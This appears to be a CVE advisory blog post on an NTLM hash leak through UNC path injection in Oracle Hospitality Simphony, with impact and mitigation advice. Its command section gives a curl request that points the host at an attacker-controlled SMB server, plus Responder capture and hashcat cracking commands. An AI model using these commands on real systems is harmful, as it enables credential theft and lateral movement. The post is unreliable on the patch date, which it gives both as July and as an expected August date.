Listen to this Post
CVE-2026-60167 is an unauthenticated, network‑accessible vulnerability affecting the EGateway Printing Handler component of Oracle Hospitality Simphony. The flaw resides in improper validation of user‑controlled input within the printing handler’s HTTP interface. An attacker can supply a specially crafted Universal Naming Convention (UNC) path as part of a malicious HTTP request to the EGateway service. Because the application fails to sanitize or restrict the provided path, the Simphony host interprets the attacker‑supplied value as a legitimate network resource location and attempts to establish an outbound Server Message Block (SMB) connection to that remote server.
This behaviour is critical because Windows systems, by default, automatically transmit NTLM authentication material during outbound SMB sessions. When the Simphony host initiates the SMB connection to the attacker‑controlled server, it sends the host’s NTLM hash as part of the authentication handshake. The attacker, controlling the remote SMB server, can capture these hashes. Captured NTLM hashes can then be subjected to offline brute‑force or dictionary attacks to recover plaintext credentials, or they can be used in NTLM relay attacks to authenticate to other systems on the network as the compromised Simphony host.
The vulnerability is easily exploitable; it requires no authentication, no user interaction, and can be triggered over HTTP with low complexity. The attack vector is network‑based, meaning an attacker can be positioned anywhere with network access to the EGateway service. The primary impact is a confidentiality breach, as successful exploitation leads to the disclosure of NTLM credentials. These credentials can then be used for lateral movement, privilege escalation, or further compromise of the hospitality environment. Oracle Hospitality Simphony is widely deployed in hotels, casinos, stadiums, quick‑service restaurants, and other food service venues, making this vulnerability a significant risk for the hospitality industry.
The vulnerability affects Simphony versions 19.8 through 19.8.5, 19.9 through 19.9.3, and version 19.10. Oracle addressed this issue in the July 2026 Critical Patch Update. Organisations are strongly advised to apply the security patch immediately. Until patching is possible, network restrictions—such as blocking outbound SMB (TCP 445) from Simphony hosts and restricting access to the EGateway Printing Handler to trusted networks—can reduce exposure, though they do not eliminate the underlying flaw.
DailyCVE Form:
Platform: Oracle Hospitality Simphony
Version: 19.8‑19.8.5, 19.9‑19.9.3, 19.10
Vulnerability: UNC path coercion NTLM disclosure
Severity: High (CVSS 7.5)
date: 2026‑07‑21
Prediction: 2026‑08‑15 (expected patch availability via My Oracle Support)
What Undercode Say
Analytics & Technical Indicators
- Attack surface: EGateway Printing Handler HTTP endpoint (default port 8080 or 8443).
- Required privileges: None (unauthenticated).
- User interaction: None.
- Outbound SMB traffic (TCP 445) from the Simphony host is the primary observable indicator.
- Successful exploitation results in NTLMv2 hash capture; hashes can be cracked with tools like Hashcat or John the Ripper.
- NTLM relay attacks can target other internal systems (e.g., domain controllers, file servers).
Bash Commands & Code Snippets
Simulate a malicious UNC path injection via curl (conceptual example) curl -X POST "http://<simphony-host>:8080/egateway/print" \ -d "printerPath=\attacker-server\share\file" \ -H "Content-Type: application/x-www-form-urlencoded" Monitor outbound SMB connections from the Simphony host sudo tcpdump -i eth0 -n "tcp port 445 and dst host <attacker-ip>" Capture NTLM hashes on attacker-controlled SMB server using Responder sudo responder -I eth0 -v Crack captured NTLM hashes with Hashcat (example) hashcat -m 5600 ntlm-hash.txt /usr/share/wordlists/rockyou.txt
Exploit
An unauthenticated attacker with network access to the EGateway Printing Handler sends an HTTP request containing a crafted UNC path (e.g., \\attacker-ip\share\payload). The Simphony host processes this input without validation, triggering an outbound SMB connection to the attacker’s server. During the SMB negotiation, Windows automatically sends the host’s NTLM hash. The attacker captures the hash using tools like Responder or Inveigh. The captured hash can then be cracked offline or relayed to other systems, potentially leading to credential theft, lateral movement, or full host compromise.
Protection
- Apply the official Oracle Critical Patch Update (July 2026 CPU) immediately through My Oracle Support.
- Restrict network access to the EGateway Printing Handler and Kiosk administrative interfaces to trusted IP ranges only.
- Block outbound SMB (TCP 445) from all Simphony hosts at the firewall or network level, unless absolutely required for business operations.
- Enable advanced logging and monitor for unexpected outbound SMB connections or anomalous HTTP requests containing UNC paths.
- Consider deploying endpoint detection and response (EDR) solutions to detect and block NTLM hash exfiltration attempts.
Impact
- Confidentiality: Unauthorised disclosure of NTLM hashes, potentially leading to credential compromise and access to sensitive data.
- Lateral Movement: Stolen credentials can be used to pivot to other systems within the same network.
- Business Disruption: Compromise of hospitality POS systems may lead to operational downtime, payment card data exposure, and reputational damage.
- CVSS Score: 7.5 (High) with a vector of AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N.
🎯Let’s Practice Exploiting & Learn Patching For Free:
🎓 Live Courses & Certifications:
Join Undercode Academy for Verified Certifications
🚀 Request a Custom Project:
Secure, high-velocity infrastructure and disruptive technological engineering. Contact our engineering team for high-tier development and proprietary systems:
[email protected]
💎 Smart Architecture | 🛡️ Secure by Design | ⭐ Trusted by Thousands
Sources:
Reported By: nvd.nist.gov
Extra Source Hub:
Undercode
